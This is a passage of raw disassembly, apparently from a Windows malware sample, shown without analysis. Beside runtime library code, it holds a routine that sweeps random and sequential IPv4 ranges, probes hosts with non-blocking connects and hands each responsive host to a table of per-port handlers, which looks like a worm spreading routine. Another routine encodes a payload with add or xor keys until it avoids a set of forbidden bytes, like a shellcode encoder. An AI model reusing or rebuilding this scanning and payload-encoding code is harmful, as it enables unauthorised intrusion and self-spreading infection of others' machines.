ecx, [ebp+var_10] or eax, 0FFFFFFFFh shl eax, cl and [ebx], eax mov eax, [ebp+var_C] inc eax cmp eax, 3 jge short loc_4121B6 push 3 pop ecx lea edi, [ebp+eax*4+var_20] sub ecx, eax xor eax, eax rep stosd loc_4121B6: ; CODE XREF: sub_411EAB+2FCj mov ecx, dword_424254 inc ecx mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_4121D7 dec edx or edx, 0FFFFFFE0h inc edx loc_4121D7: ; CODE XREF: sub_411EAB+325j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_4121F2: ; CODE XREF: sub_411EAB+372j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_4121F2 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41222C: ; CODE XREF: sub_411EAB+398j cmp edx, eax jl short loc_412238 mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41223D ; --------------------------------------------------------------------------- loc_412238: ; CODE XREF: sub_411EAB+383j and [ebp+edx*4+var_20], 0 loc_41223D: ; CODE XREF: sub_411EAB+38Bj dec edx sub ecx, 4 test edx, edx jge short loc_41222C loc_412245: ; CODE XREF: sub_411EAB+188j push 2 xor ebx, ebx pop eax jmp loc_4123A9 ; --------------------------------------------------------------------------- loc_41224F: ; CODE XREF: sub_411EAB+18Fj cmp ebx, dword_424248 mov ecx, dword_424254 jl loc_41230E xor eax, eax lea edi, [ebp+var_20] stosd stosd stosd or [ebp+var_20], 80000000h mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_41228A dec edx or edx, 0FFFFFFE0h inc edx loc_41228A: ; CODE XREF: sub_411EAB+3D8j and [ebp+var_C], 0 and [ebp+arg_0], 0 or edi, 0FFFFFFFFh mov ecx, edx shl edi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not edi loc_4122A5: ; CODE XREF: sub_411EAB+425j mov ebx, [ebp+arg_0] lea ebx, [ebp+ebx*4+var_20] mov esi, [ebx] mov ecx, esi and ecx, edi mov [ebp+var_10], ecx mov ecx, edx shr esi, cl mov ecx, [ebp+var_4] or esi, [ebp+var_C] mov [ebx], esi mov esi, [ebp+var_10] shl esi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], esi jl short loc_4122A5 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_4122DF: ; CODE XREF: sub_411EAB+44Bj cmp edx, eax jl short loc_4122EB mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_4122F0 ; --------------------------------------------------------------------------- loc_4122EB: ; CODE XREF: sub_411EAB+436j and [ebp+edx*4+var_20], 0 loc_4122F0: ; CODE XREF: sub_411EAB+43Ej dec edx sub ecx, 4 test edx, edx jge short loc_4122DF mov eax, dword_424248 mov ecx, dword_42425C lea ebx, [ecx+eax] xor eax, eax inc eax jmp loc_4123A9 ; --------------------------------------------------------------------------- loc_41230E: ; CODE XREF: sub_411EAB+3B0j mov eax, dword_42425C and [ebp+var_20], 7FFFFFFFh add ebx, eax mov eax, ecx cdq and edx, 1Fh add eax, edx mov edx, ecx sar eax, 5 and edx, 8000001Fh jns short loc_412336 dec edx or edx, 0FFFFFFE0h inc edx loc_412336: ; CODE XREF: sub_411EAB+484j and [ebp+var_C], 0 and [ebp+arg_0], 0 or esi, 0FFFFFFFFh mov ecx, edx shl esi, cl mov [ebp+var_4], 20h sub [ebp+var_4], edx not esi loc_412351: ; CODE XREF: sub_411EAB+4D4j mov ecx, [ebp+arg_0] mov edi, [ebp+ecx*4+var_20] mov ecx, edi and ecx, esi mov [ebp+var_10], ecx mov ecx, edx shr edi, cl mov ecx, [ebp+arg_0] or edi, [ebp+var_C] mov [ebp+ecx*4+var_20], edi mov edi, [ebp+var_10] mov ecx, [ebp+var_4] shl edi, cl inc [ebp+arg_0] cmp [ebp+arg_0], 3 mov [ebp+var_C], edi jl short loc_412351 mov esi, eax push 2 shl esi, 2 lea ecx, [ebp+var_18] pop edx sub ecx, esi loc_41238E: ; CODE XREF: sub_411EAB+4FAj cmp edx, eax jl short loc_41239A mov esi, [ecx] mov [ebp+edx*4+var_20], esi jmp short loc_41239F ; --------------------------------------------------------------------------- loc_41239A: ; CODE XREF: sub_411EAB+4E5j and [ebp+edx*4+var_20], 0 loc_41239F: ; CODE XREF: sub_411EAB+4EDj dec edx sub ecx, 4 test edx, edx jge short loc_41238E xor eax, eax loc_4123A9: ; CODE XREF: sub_411EAB+39Fj ; sub_411EAB+45Ej pop esi loc_4123AA: ; CODE XREF: sub_411EAB+55j ; sub_411EAB+65j push 1Fh pop ecx sub ecx, dword_424254 shl ebx, cl mov ecx, [ebp+var_14] neg ecx sbb ecx, ecx and ecx, 80000000h or ebx, ecx mov ecx, dword_424258 or ebx, [ebp+var_20] cmp ecx, 40h jnz short loc_4123DF mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], ebx mov [ecx], edx jmp short loc_4123E9 ; --------------------------------------------------------------------------- loc_4123DF: ; CODE XREF: sub_411EAB+525j cmp ecx, 20h jnz short loc_4123E9 mov ecx, [ebp+arg_4] mov [ecx], ebx loc_4123E9: ; CODE XREF: sub_411EAB+532j ; sub_411EAB+537j pop edi pop ebx leave retn sub_411EAB endp ; [00000691 BYTES: COLLAPSED FUNCTION ___strgtold12_l. PRESS KEYPAD "+" TO EXPAND] db 8Dh, 49h, 0 off_412A81 dd offset $LN119 ; DATA XREF: ___strgtold12_l+91r dd offset $LN108 ; jump table for switch statement dd offset $LN97 dd offset $LN88 dd offset $LN75 dd offset $LN61 dd offset $LN58 dd offset $LN43_0 dd offset $LN49_0 dd offset $LN36_2 dd offset $LN257 dd offset $LN28_2 ; [000008C8 BYTES: COLLAPSED FUNCTION _$I10_OUTPUT. PRESS KEYPAD "+" TO EXPAND] ; [0000008E BYTES: COLLAPSED FUNCTION __hw_cw. PRESS KEYPAD "+" TO EXPAND] ; [000000A0 BYTES: COLLAPSED FUNCTION ___hw_cw_sse2. PRESS KEYPAD "+" TO EXPAND] ; [00000303 BYTES: COLLAPSED FUNCTION __control87. PRESS KEYPAD "+" TO EXPAND] ; [000001CC BYTES: COLLAPSED FUNCTION ___mtold12. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_413976 proc near ; CODE XREF: unknown_libname_9+24p ; _EH4_GlobalUnwind(x)+10p ... jmp ds:dword_41D1B0 sub_413976 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41397C proc near ; CODE XREF: sub_413A2D+14Bp ; sub_413A2D+271p ... var_128 = dword ptr -128h var_124 = dword ptr -124h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 128h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax push esi push edi xor edi, edi push 6 inc edi push edi push 2 mov [ebp+var_18], edi call ds:dword_41D27C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4139AD xor al, al jmp short loc_413A1F ; --------------------------------------------------------------------------- loc_4139AD: ; CODE XREF: sub_41397C+2Bj push [ebp+arg_4] call ds:dword_41D278 ; htons mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax lea eax, [ebp+var_18] push eax push 8004667Eh push esi mov [ebp+var_14], 2 call ds:dword_41D268 ; ioctlsocket and [ebp+var_1C], 0 push 10h lea eax, [ebp+var_14] push eax push esi mov [ebp+var_20], 5 mov [ebp+var_124], esi mov [ebp+var_128], edi call ds:dword_41D240 ; connect lea eax, [ebp+var_20] push eax push 0 lea eax, [ebp+var_128] push eax push 0 push 0 call ds:dword_41D258 ; select push esi mov edi, eax call ds:dword_41D224 ; closesocket test edi, edi setnle al loc_413A1F: ; CODE XREF: sub_41397C+2Fj mov ecx, [ebp+var_4] pop edi xor ecx, ebp pop esi call sub_402710 leave retn sub_41397C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_413A2D proc near ; DATA XREF: sub_401F1C+4E3o var_25C = dword ptr -25Ch var_258 = dword ptr -258h var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_244 = dword ptr -244h Dest = byte ptr -240h var_140 = dword ptr -140h var_13C = dword ptr -13Ch var_138 = dword ptr -138h var_134 = byte ptr -134h var_133 = byte ptr -133h var_130 = byte ptr -130h var_30 = byte ptr -30h var_20 = byte ptr -20h var_1E = byte ptr -1Eh var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 25Ch mov eax, dword_423064 xor eax, esp mov [esp+25Ch+var_4], eax push ebx push esi mov esi, [ebp+arg_0] push edi push 49h pop ecx lea edi, [esp+268h+var_130] rep movsd loc_413A59: ; CODE XREF: sub_413A2D+544j ; sub_413A2D+555j lea eax, [esp+268h+var_250] push eax lea eax, [esp+26Ch+var_254] push eax lea eax, [esp+270h+var_258] push eax lea eax, [esp+274h+var_25C] push eax or edi, 0FFFFFFFFh lea eax, [esp+278h+var_30] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax ; char * mov [esp+280h+var_25C], edi mov [esp+280h+var_258], edi mov [esp+280h+var_254], edi mov [esp+280h+var_250], edi call _sscanf add esp, 18h cmp [esp+268h+var_1E], 0 jz short loc_413AE7 cmp [esp+268h+var_25C], edi mov esi, 0FEh jnz short loc_413AB7 mov eax, esi xor ebx, ebx call sub_4192C7 mov [esp+268h+var_25C], eax loc_413AB7: ; CODE XREF: sub_413A2D+7Bj cmp [esp+268h+var_258], edi jnz short loc_413ACA mov eax, esi xor ebx, ebx call sub_4192C7 mov [esp+268h+var_258], eax loc_413ACA: ; CODE XREF: sub_413A2D+8Ej cmp [esp+268h+var_254], edi jnz short loc_413ADD mov eax, esi xor ebx, ebx call sub_4192C7 mov [esp+268h+var_254], eax loc_413ADD: ; CODE XREF: sub_413A2D+A1j mov eax, [esp+268h+var_250] cmp eax, edi jnz short loc_413B39 jmp short loc_413B12 ; --------------------------------------------------------------------------- loc_413AE7: ; CODE XREF: sub_413A2D+70j mov eax, [esp+268h+var_18] sub eax, 0 jz short loc_413B21 dec eax jz short loc_413B00 dec eax jnz short loc_413B35 mov eax, 0FEh jmp short loc_413B14 ; --------------------------------------------------------------------------- loc_413B00: ; CODE XREF: sub_413A2D+C7j mov esi, 0FEh loc_413B05: ; CODE XREF: sub_413A2D+106j mov eax, esi xor ebx, ebx call sub_4192C7 mov [esp+268h+var_254], eax loc_413B12: ; CODE XREF: sub_413A2D+B8j mov eax, esi loc_413B14: ; CODE XREF: sub_413A2D+D1j xor ebx, ebx call sub_4192C7 mov [esp+268h+var_250], eax jmp short loc_413B39 ; --------------------------------------------------------------------------- loc_413B21: ; CODE XREF: sub_413A2D+C4j mov esi, 0FEh mov eax, esi xor ebx, ebx call sub_4192C7 mov [esp+268h+var_258], eax jmp short loc_413B05 ; --------------------------------------------------------------------------- loc_413B35: ; CODE XREF: sub_413A2D+CAj mov eax, [esp+268h+var_250] loc_413B39: ; CODE XREF: sub_413A2D+B6j ; sub_413A2D+F2j shl eax, 8 add eax, [esp+268h+var_254] shl eax, 8 add eax, [esp+268h+var_258] shl eax, 8 add eax, [esp+268h+var_25C] mov [esp+268h+var_14], eax mov eax, [esp+268h+var_1C] cmp eax, edi jnz loc_413D78 xor ebx, ebx mov [esp+268h+var_248], ebx mov eax, offset dword_424548 loc_413B6F: ; CODE XREF: sub_413A2D+169j push dword ptr [eax] push [esp+26Ch+var_14] call sub_41397C test al, al pop ecx pop ecx jnz short loc_413B9D inc ebx mov eax, ebx imul eax, 2Ch lea eax, dword_424548[eax] cmp dword ptr [eax], 0 mov [esp+268h+var_248], ebx jnz short loc_413B6F jmp loc_413F62 ; --------------------------------------------------------------------------- loc_413B9D: ; CODE XREF: sub_413A2D+154j push 110h ; size_t lea eax, [esp+26Ch+Dest] push 0 ; int push eax ; void * call _memset add esp, 0Ch lea eax, [esp+268h+var_130] push eax push offset aS_0 ; "%s" lea eax, [esp+270h+Dest] push 0FFh ; Count push eax ; Dest call __snprintf lea eax, [esp+278h+Dest] add esp, 10h lea esi, [eax+1] loc_413BD7: ; CODE XREF: sub_413A2D+1AFj mov cl, [eax] inc eax test cl, cl jnz short loc_413BD7 sub eax, esi mov [esp+eax+268h+Dest], cl mov eax, [esp+268h+var_14] mov [esp+268h+var_140], ebx imul ebx, 2Ch mov [esp+268h+var_13C], eax mov eax, dword_424548[ebx] mov [esp+268h+var_138], eax mov al, [esp+268h+var_20] sub esp, 110h mov [esp+378h+var_134], al mov al, [esp+378h+var_1E] push 44h pop ecx mov [esp+378h+var_133], al lea esi, [esp+378h+Dest] mov edi, esp rep movsd call off_424550[ebx] mov esi, [esp+378h+var_250] shl esi, 8 add esi, [esp+378h+var_254] add esp, 110h shl esi, 8 add esi, [esp+268h+var_258] mov [esp+268h+var_24C], 100h shl esi, 8 add esi, [esp+268h+var_25C] mov [esp+268h+var_244], esi loc_413C70: ; CODE XREF: sub_413A2D+340j mov eax, [esp+268h+var_24C] mov ecx, [esp+268h+var_254] add eax, ecx shl eax, 8 add eax, [esp+268h+var_258] shl eax, 8 add eax, [esp+268h+var_25C] cmp eax, esi mov [esp+268h+var_14], eax jz loc_413D5D push dword_424548[ebx] push eax call sub_41397C test al, al pop ecx pop ecx jz loc_413D5D push 110h ; size_t lea eax, [esp+26Ch+Dest] push 0 ; int push eax ; void * call _memset add esp, 0Ch lea eax, [esp+268h+var_130] push eax push offset aS_1 ; "%s" lea eax, [esp+270h+Dest] push 0FFh ; Count push eax ; Dest call __snprintf lea eax, [esp+278h+Dest] add esp, 10h lea esi, [eax+1] loc_413CE7: ; CODE XREF: sub_413A2D+2BFj mov cl, [eax] inc eax test cl, cl jnz short loc_413CE7 sub eax, esi mov [esp+eax+268h+Dest], cl mov eax, [esp+268h+var_14] mov [esp+268h+var_13C], eax mov eax, [esp+268h+var_248] mov [esp+268h+var_140], eax mov eax, dword_424548[ebx] mov [esp+268h+var_138], eax mov al, [esp+268h+var_20] sub esp, 110h mov [esp+378h+var_134], al mov al, [esp+378h+var_1E] push 44h pop ecx mov [esp+378h+var_133], al lea esi, [esp+378h+Dest] mov edi, esp rep movsd call off_424550[ebx] mov esi, [esp+378h+var_244] add esp, 110h loc_413D5D: ; CODE XREF: sub_413A2D+264j ; sub_413A2D+27Aj add [esp+268h+var_24C], 100h cmp [esp+268h+var_24C], 0FE00h jle loc_413C70 jmp loc_413F5D ; --------------------------------------------------------------------------- loc_413D78: ; CODE XREF: sub_413A2D+131j imul eax, 2Ch push dword_424548[eax] push [esp+26Ch+var_14] call sub_41397C test al, al pop ecx pop ecx jz loc_413F62 push 110h ; size_t lea eax, [esp+26Ch+Dest] push 0 ; int push eax ; void * call _memset add esp, 0Ch lea eax, [esp+268h+var_130] push eax push offset aS_2 ; "%s" lea eax, [esp+270h+Dest] push 0FFh ; Count push eax ; Dest call __snprintf lea eax, [esp+278h+Dest] add esp, 10h lea ecx, [eax+1] loc_413DD1: ; CODE XREF: sub_413A2D+3A9j mov dl, [eax] inc eax test dl, dl jnz short loc_413DD1 sub eax, ecx mov [esp+eax+268h+Dest], dl mov eax, [esp+268h+var_14] mov [esp+268h+var_13C], eax mov eax, [esp+268h+var_1C] mov [esp+268h+var_140], eax imul eax, 2Ch mov ecx, dword_424548[eax] mov [esp+268h+var_138], ecx mov cl, [esp+268h+var_20] sub esp, 110h mov [esp+378h+var_134], cl push 44h pop ecx lea esi, [esp+378h+Dest] mov edi, esp rep movsd call off_424550[eax] mov ebx, [esp+378h+var_250] shl ebx, 8 add ebx, [esp+378h+var_254] add esp, 110h shl ebx, 8 add ebx, [esp+268h+var_258] mov [esp+268h+var_24C], 100h shl ebx, 8 add ebx, [esp+268h+var_25C] loc_413E5F: ; CODE XREF: sub_413A2D+52Aj mov eax, [esp+268h+var_24C] mov ecx, [esp+268h+var_254] add eax, ecx shl eax, 8 add eax, [esp+268h+var_258] shl eax, 8 add eax, [esp+268h+var_25C] cmp eax, ebx mov [esp+268h+var_14], eax jz loc_413F47 mov ecx, [esp+268h+var_1C] imul ecx, 2Ch push dword_424548[ecx] push eax call sub_41397C test al, al pop ecx pop ecx jz loc_413F47 push 110h ; size_t lea eax, [esp+26Ch+Dest] push 0 ; int push eax ; void * call _memset add esp, 0Ch lea eax, [esp+268h+var_130] push eax push offset aS_3 ; "%s" lea eax, [esp+270h+Dest] push 0FFh ; Count push eax ; Dest call __snprintf lea eax, [esp+278h+Dest] add esp, 10h lea esi, [eax+1] loc_413EE0: ; CODE XREF: sub_413A2D+4B8j mov cl, [eax] inc eax test cl, cl jnz short loc_413EE0 sub eax, esi mov [esp+eax+268h+Dest], cl mov eax, [esp+268h+var_14] mov [esp+268h+var_13C], eax mov eax, [esp+268h+var_1C] mov [esp+268h+var_140], eax imul eax, 2Ch mov ecx, dword_424548[eax] mov [esp+268h+var_138], ecx mov cl, [esp+268h+var_20] sub esp, 110h mov [esp+378h+var_134], cl push 44h pop ecx lea esi, [esp+378h+Dest] mov edi, esp rep movsd call off_424550[eax] add esp, 110h loc_413F47: ; CODE XREF: sub_413A2D+453j ; sub_413A2D+473j add [esp+268h+var_24C], 100h cmp [esp+268h+var_24C], 0FE00h jle loc_413E5F loc_413F5D: ; CODE XREF: sub_413A2D+346j call sub_4192FB loc_413F62: ; CODE XREF: sub_413A2D+16Bj ; sub_413A2D+364j push 64h call ds:dword_41D0FC ; Sleep cmp byte_4269C0, 0 jnz loc_413A59 push 2710h call ds:dword_41D0FC ; Sleep jmp loc_413A59 sub_413A2D endp ; --------------------------------------------------------------------------- cmp dword ptr [eax+4], 0 setnz al retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413F8F proc near ; CODE XREF: sub_414023+12p ; sub_414042+5Dp var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h and dword ptr [ebx+4], 0 mov eax, dword_433C4C mov eax, [eax] mov [ebp+var_4], eax mov eax, offset dword_433C48 push esi push edi mov [ebp+var_8], eax mov [ebp+var_10], eax loc_413FB0: ; CODE XREF: sub_413F8F+4Cj mov eax, dword_433C4C lea edi, [ebp+var_10] lea esi, [ebp+var_8] mov [ebp+var_C], eax call sub_40166F test al, al jz short loc_414018 call sub_40164F mov ecx, [ebx] cmp ecx, [eax+40h] lea edi, [ebp+var_18] jz short loc_413FDD call sub_40168C jmp short loc_413FB0 ; --------------------------------------------------------------------------- loc_413FDD: ; CODE XREF: sub_413F8F+45j mov eax, [ebp+var_8] mov [ebp+var_10], eax mov eax, [ebp+var_4] lea esi, [ebp+var_10] mov [ebp+var_C], eax call sub_40168C mov eax, [eax+4] cmp eax, dword_433C4C jz short loc_414018 mov ecx, [eax+4] mov edx, [eax] mov [ecx], edx mov ecx, [eax] mov edx, [eax+4] push eax ; Memory mov [ecx+4], edx call j__free dec dword_433C50 pop ecx loc_414018: ; CODE XREF: sub_413F8F+36j ; sub_413F8F+6Bj push ebx ; Memory call j__free pop ecx pop edi pop esi leave retn sub_413F8F endp ; =============== S U B R O U T I N E ======================================= sub_414023 proc near ; CODE XREF: sub_40243A+7Cp ; sub_419477+10Bp push ebx mov ebx, eax push 0 push dword ptr [ebx+4] call ds:dword_41D094 ; TerminateThread test eax, eax jz short loc_41403E call sub_413F8F mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41403E: ; CODE XREF: sub_414023+10j xor al, al pop ebx retn sub_414023 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414042 proc near ; CODE XREF: sub_419EA0+4D2p ; sub_41B925+240p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 1Ch mov eax, dword_433C4C mov eax, [eax] push ebx mov [esp+20h+var_14], eax mov eax, offset dword_433C48 push esi push edi mov [esp+28h+var_18], eax mov [esp+28h+var_10], eax loc_414066: ; CODE XREF: sub_414042+54j mov eax, dword_433C4C lea edi, [esp+28h+var_10] lea esi, [esp+28h+var_18] mov [esp+28h+var_C], eax call sub_40166F test al, al jz short loc_4140A4 call sub_40164F mov ecx, [ebp+arg_0] cmp ecx, [eax+40h] jz short loc_414098 lea edi, [esp+28h+var_8] call sub_40168C jmp short loc_414066 ; --------------------------------------------------------------------------- loc_414098: ; CODE XREF: sub_414042+49j call sub_40164F mov ebx, [eax] call sub_413F8F loc_4140A4: ; CODE XREF: sub_414042+3Cj pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_414042 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4140AB proc near ; CODE XREF: sub_40177B+246p ; sub_4019F3+1F8p ... var_50 = dword ptr -50h var_4C = byte ptr -4Ch Dest = byte ptr -4Bh var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 54h mov eax, dword_423064 xor eax, ebp mov [ebp+var_4], eax mov eax, [ebp+arg_0] push esi push 0 push ecx push eax push 0 push 0 call ds:dword_41D110 ; CreateThread test eax, eax mov [esi+4], eax jz short loc_414104 push edi ; Format lea eax, [ebp+Dest] push 38h ; Count push eax ; Dest call __snprintf mov eax, [esi] add esp, 0Ch mov [ebp+var_10], eax mov eax, dword_433C4C push eax mov ecx, offset dword_433C48 push ecx lea eax, [ebp+var_50] push eax mov [ebp+var_4C], 0 mov [ebp+var_50], esi call sub_4016BA loc_414104: ; CODE XREF: sub_4140AB+27j push 1 push dword ptr [esi+4] call ds:dword_41D07C ; WaitForSingleObject mov ecx, [ebp+var_4] xor ecx, ebp mov eax, esi call sub_402710 leave retn 4 sub_4140AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41411F proc near ; CODE XREF: sub_41A5C1+1C7p ; sub_41A5C1+1E1p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 1 push esi push edi mov [ebp+var_2], 1 mov [ebp+var_1], 0 jnz loc_414239 mov eax, [ebp+arg_8] lea esi, [eax+18h] and eax, 80000001h mov [ebp+var_8], esi jns short loc_41414E dec eax or eax, 0FFFFFFFEh inc eax loc_41414E: ; CODE XREF: sub_41411F+28j jz short loc_414154 mov [ebp+var_1], 1 loc_414154: ; CODE XREF: sub_41411F:loc_41414Ej mov eax, 172h cmp esi, eax jle short loc_414167 cmp [ebp+var_1], 1 jnz loc_414324 loc_414167: ; CODE XREF: sub_41411F+3Cj lea ecx, [esi+1] cmp ecx, eax mov [ebp+var_C], ecx jle short loc_414181 cmp [ebp+var_1], 1 jnz short loc_414181 jmp loc_414324 ; --------------------------------------------------------------------------- loc_41417C: ; CODE XREF: sub_41411F+EDj mov eax, 172h loc_414181: ; CODE XREF: sub_41411F+50j ; sub_41411F+56j inc [ebp+var_2] and [ebp+arg_0], 0 push eax ; size_t push 0 ; int push ebx ; void * call _memset add esp, 0Ch push 6 pop ecx mov esi, offset dword_424894 mov edi, ebx rep movsd mov cl, [ebp+var_2] xor edi, edi cmp [ebp+arg_8], edi mov [ebx+0Eh], cl mov [ebx+12h], cl jle short loc_4141C8 loc_4141B0: ; CODE XREF: sub_41411F+A7j mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] mov al, [esi+eax] add al, cl mov [ebx+esi+18h], al inc esi cmp esi, [ebp+arg_8] mov [ebp+arg_0], esi jl short loc_4141B0 loc_4141C8: ; CODE XREF: sub_41411F+8Fj cmp [ebp+var_1], 1 jnz short loc_4141D5 mov eax, [ebp+arg_0] mov [eax+ebx+18h], cl loc_4141D5: ; CODE XREF: sub_41411F+ADj cmp [ebp+var_8], edi mov byte ptr [ebp+arg_0+3], 1 jle short loc_414217 loc_4141DE: ; CODE XREF: sub_41411F+E2j mov dl, [edi+ebx] xor esi, esi loc_4141E3: ; CODE XREF: sub_41411F+D0j mov eax, [ebp+arg_C] cmp dl, [esi+eax] jz short loc_4141F3 inc esi cmp esi, 8 jl short loc_4141E3 jmp short loc_4141F7 ; --------------------------------------------------------------------------- loc_4141F3: ; CODE XREF: sub_41411F+CAj mov byte ptr [ebp+arg_0+3], 0 loc_4141F7: ; CODE XREF: sub_41411F+D2j cmp byte ptr [ebp+arg_0+3], 0 jz short loc_414203 inc edi cmp edi, [ebp+var_8] jl short loc_4141DE loc_414203: ; CODE XREF: sub_41411F+DCj cmp byte ptr [ebp+arg_0+3], 1 jz short loc_414217 cmp cl, 0FFh jb loc_41417C jmp loc_414324 ; --------------------------------------------------------------------------- loc_414217: ; CODE XREF: sub_41411F+BDj ; sub_41411F+E8j ... cmp [ebp+var_1], 1 jnz short loc_414226 mov eax, [ebp+var_C] inc [ebp+arg_8] mov [ebp+var_8], eax loc_414226: ; CODE XREF: sub_41411F+FCj mov eax, [ebp+arg_8] cdq sub eax, edx sar eax, 1 mov [ebx+3], al mov eax, [ebp+var_8] jmp loc_414326 ; --------------------------------------------------------------------------- loc_414239: ; CODE XREF: sub_41411F+14j cmp [ebp+arg_0], 2 jnz loc_414324 mov eax, [ebp+arg_8] lea esi, [eax+18h] and eax, 80000001h mov [ebp+var_8], esi jns short loc_414258 dec eax or eax, 0FFFFFFFEh inc eax loc_414258: ; CODE XREF: sub_41411F+132j jz short loc_41425E mov [ebp+var_1], 1 loc_41425E: ; CODE XREF: sub_41411F:loc_414258j mov eax, 172h cmp esi, eax jle short loc_414271 cmp [ebp+var_1], 1 jnz loc_414324 loc_414271: ; CODE XREF: sub_41411F+146j lea ecx, [esi+1] cmp ecx, eax mov [ebp+var_C], ecx jle short loc_41428B cmp [ebp+var_1], 1 jnz short loc_41428B jmp loc_414324 ; --------------------------------------------------------------------------- loc_414286: ; CODE XREF: sub_41411F+1FFj mov eax, 172h loc_41428B: ; CODE XREF: sub_41411F+15Aj ; sub_41411F+160j inc [ebp+var_2] and [ebp+arg_0], 0 push eax ; size_t push 0 ; int push ebx ; void * call _memset add esp, 0Ch push 6 pop ecx mov esi, offset dword_4248B0 mov edi, ebx rep movsd mov cl, [ebp+var_2] xor edi, edi cmp [ebp+arg_8], edi mov [ebx+0Eh], cl mov [ebx+12h], cl jle short loc_4142D2 loc_4142BA: ; CODE XREF: sub_41411F+1B1j mov esi, [ebp+arg_0] mov eax, [ebp+arg_4] mov al, [esi+eax] xor al, cl mov [ebx+esi+18h], al inc esi cmp esi, [ebp+arg_8] mov [ebp+arg_0], esi jl short loc_4142BA loc_4142D2: ; CODE XREF: sub_41411F+199j cmp [ebp+var_1], 1 jnz short loc_4142DF mov eax, [ebp+arg_0] mov [eax+ebx+18h], cl loc_4142DF: ; CODE XREF: sub_41411F+1B7j cmp [ebp+var_8], edi mov byte ptr [ebp+arg_0+3], 1 jle loc_414217 loc_4142EC: ; CODE XREF: sub_41411F+1F0j mov dl, [edi+ebx] xor esi, esi loc_4142F1: ; CODE XREF: sub_41411F+1DEj mov eax, [ebp+arg_C] cmp dl, [esi+eax] jz short loc_414301 inc esi cmp esi, 8 jl short loc_4142F1 jmp short loc_414305 ; --------------------------------------------------------------------------- loc_414301: ; CODE XREF: sub_41411F+1D8j mov byte ptr [ebp+arg_0+3], 0 loc_414305: ; CODE XREF: sub_41411F+1E0j cmp byte ptr [ebp+arg_0+3], 0 jz short loc_414311 inc edi cmp edi, [ebp+var_8] jl short loc_4142EC loc_414311: ; CODE XREF: sub_41411F+1EAj cmp byte ptr [ebp+arg_0+3], 1 jz loc_414217 cmp cl, 0FFh jb loc_414286 loc_414324: ; CODE XREF: sub_41411F+42j ; sub_41411F+58j ... xor eax, eax loc_414326: ; CODE XREF: sub_41411F+115j pop edi pop esi leave retn sub_41411F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_41432A(void *,int) sub_41432A proc near ; CODE XREF: sub_41A5C1+19Fp ; sub_41A9DE+490p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] lea edx, [eax+1] loc_414333: ; CODE XREF: sub_41432A+Ej mov cl, [eax] inc eax test cl, cl jnz short loc_414333 sub eax, edx push ebx lea ebx, [eax+0CCh] cmp ebx, 172h jg short loc_414393 push esi push edi mov edi, [ebp+arg_0] push ebx ; size_t push 0 ; int push edi ; void * call _memset mov eax, [ebp+arg_4] add esp, 0Ch push 32h pop ecx mov esi, offset dword_4248D0 rep movsd movsw movsb lea esi, [eax+1] loc_41436F: ; 